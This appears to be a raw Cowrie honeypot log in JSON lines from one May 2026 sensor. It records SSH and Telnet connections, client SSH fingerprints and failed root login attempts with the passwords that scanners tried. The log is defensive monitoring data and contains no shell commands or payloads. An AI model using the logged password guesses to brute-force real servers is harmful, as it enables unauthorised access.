{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:df:3e:ab:bf:e5:47:c3:75:82:c4:8f:c5:5e:7e:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwfwtFiZkRRe7i4Coi7OKMF3KOBDqNYD35DbuojCoFgwIDbfVuQXZU/0gR6jG2+i7NRj3EkRKmI0Ssbh3w/Gxz6C5bHJ83TSXNOXYtDWbfWlPNQ+hOWh1pJPTCXKKc154FD3f3N40stea+WN1hx6+wIi8RtIW+tUebDTE2OLfQgwgkDGgTk+vypbmvaWjtJowPhs7GPgaHqdAEulNDNQ4q4X0xEPFtznoeOMvFkS05bg8RiaMnDUmwutAS+HHKZsnangvXCqNAVv2BowfIPiltXXhF6IWTJeHPZ8OBG1zxDjnbaB0zbiAHL8r8gPQz/1d3lMxrur9JRu7wMtwN+SX27G6DlHV7iPtpxNl5yZISddh9oZPfQcRdy/l4USo5ttdk13kgFm40eusFWwFSNKXcOiefQRLX+z4scJXxS/O18Bo9to/p+/j9m3cwrOnL6/I8GVKfFTvEKJkV3zYvRxHOT/520WDpMOcJ3rQykLmlwJE7NE/1Hr+hHiijtNHPKWHeu23wL+NwlyBSOTmpT/iFgiKsAuSQcV5cfGQvDi/9lgEhiLcgzVJESZmOZnfdDWJ07+b3btY0ihspYPhrtkTTO1jrl/w+ZpchH6q2uASziceb7eYr6nDa8TU1Oslr3gRMbUGikqqUtruH1LDTYGXHwRx0e3CYQjT3UABXjznt7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:05.415812Z","src_ip":"103.75.71.22","session":"3853cba88e7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:05.551445Z","src_ip":"103.75.71.22","session":"3853cba88e7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":38208,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1222f669890","protocol":"ssh","message":"New connection: 147.45.197.250:38208 (159.203.135.109:22) [session: d1222f669890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:11.152329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:11.158022Z","src_ip":"147.45.197.250","session":"d1222f669890","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:11.247559Z","src_ip":"147.45.197.250","session":"d1222f669890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13243546","message":"login attempt [root/13243546] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:11.515042Z","src_ip":"147.45.197.250","session":"d1222f669890","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:12.606108Z","src_ip":"147.45.197.250","session":"d1222f669890","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":51240,"dst_ip":"10.17.0.5","dst_port":22,"session":"e47611553403","protocol":"ssh","message":"New connection: 109.237.96.109:51240 (10.17.0.5:22) [session: e47611553403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:21.514253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:21.519471Z","src_ip":"109.237.96.109","session":"e47611553403","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:21.615788Z","src_ip":"109.237.96.109","session":"e47611553403","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19921992","message":"login attempt [root/19921992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:21.889758Z","src_ip":"109.237.96.109","session":"e47611553403","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:22.986851Z","src_ip":"109.237.96.109","session":"e47611553403","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.20.223.175","src_port":39771,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5e5472ff0e2","protocol":"telnet","message":"New connection: 1.20.223.175:39771 (159.203.135.109:23) [session: b5e5472ff0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:30.923884Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":37884,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1d2de130498","protocol":"ssh","message":"New connection: 89.127.197.59:37884 (10.17.0.5:22) [session: f1d2de130498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:34.513795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:34.517728Z","src_ip":"89.127.197.59","session":"f1d2de130498","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:34.640123Z","src_ip":"89.127.197.59","session":"f1d2de130498","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"firebird","message":"login attempt [root/firebird] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:35.158374Z","src_ip":"89.127.197.59","session":"f1d2de130498","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":44340,"dst_ip":"10.17.0.5","dst_port":22,"session":"8290cb8e6e9e","protocol":"ssh","message":"New connection: 43.134.71.92:44340 (10.17.0.5:22) [session: 8290cb8e6e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:35.208996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:35.217814Z","src_ip":"43.134.71.92","session":"8290cb8e6e9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":60348,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7d7cbc14f54","protocol":"ssh","message":"New connection: 103.149.28.157:60348 (159.203.135.109:22) [session: d7d7cbc14f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:35.254478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:35.260434Z","src_ip":"103.149.28.157","session":"d7d7cbc14f54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:35.456018Z","src_ip":"43.134.71.92","session":"8290cb8e6e9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:35.513551Z","src_ip":"103.149.28.157","session":"d7d7cbc14f54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"timoxa94","message":"login attempt [root/timoxa94] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:36.280041Z","src_ip":"103.149.28.157","session":"d7d7cbc14f54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:36.284829Z","src_ip":"89.127.197.59","session":"f1d2de130498","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111a","message":"login attempt [root/111111a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:36.435691Z","src_ip":"43.134.71.92","session":"8290cb8e6e9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:37.535693Z","src_ip":"103.149.28.157","session":"d7d7cbc14f54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:37.674894Z","src_ip":"43.134.71.92","session":"8290cb8e6e9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":33674,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ccfb9675d99","protocol":"ssh","message":"New connection: 103.249.84.242:33674 (10.17.0.5:22) [session: 9ccfb9675d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:38.757591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:38.762170Z","src_ip":"103.249.84.242","session":"9ccfb9675d99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:38.989894Z","src_ip":"103.249.84.242","session":"9ccfb9675d99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":50758,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2cec4592c73","protocol":"ssh","message":"New connection: 89.108.118.91:50758 (159.203.135.109:22) [session: e2cec4592c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:39.633460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:39.638232Z","src_ip":"89.108.118.91","session":"e2cec4592c73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:39.775456Z","src_ip":"89.108.118.91","session":"e2cec4592c73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2063","message":"login attempt [root/2063] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:39.933159Z","src_ip":"103.249.84.242","session":"9ccfb9675d99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhbrtn","message":"login attempt [root/rhbrtn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:40.185148Z","src_ip":"89.108.118.91","session":"e2cec4592c73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:41.164043Z","src_ip":"103.249.84.242","session":"9ccfb9675d99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:41.324132Z","src_ip":"89.108.118.91","session":"e2cec4592c73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.190.155","src_port":57108,"dst_ip":"10.17.0.5","dst_port":22,"session":"a34839e22888","protocol":"ssh","message":"New connection: 157.230.190.155:57108 (10.17.0.5:22) [session: a34839e22888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:42.631040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:42.635242Z","src_ip":"157.230.190.155","session":"a34839e22888","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:42.639556Z","src_ip":"157.230.190.155","session":"a34839e22888","protocol":"ssh"}
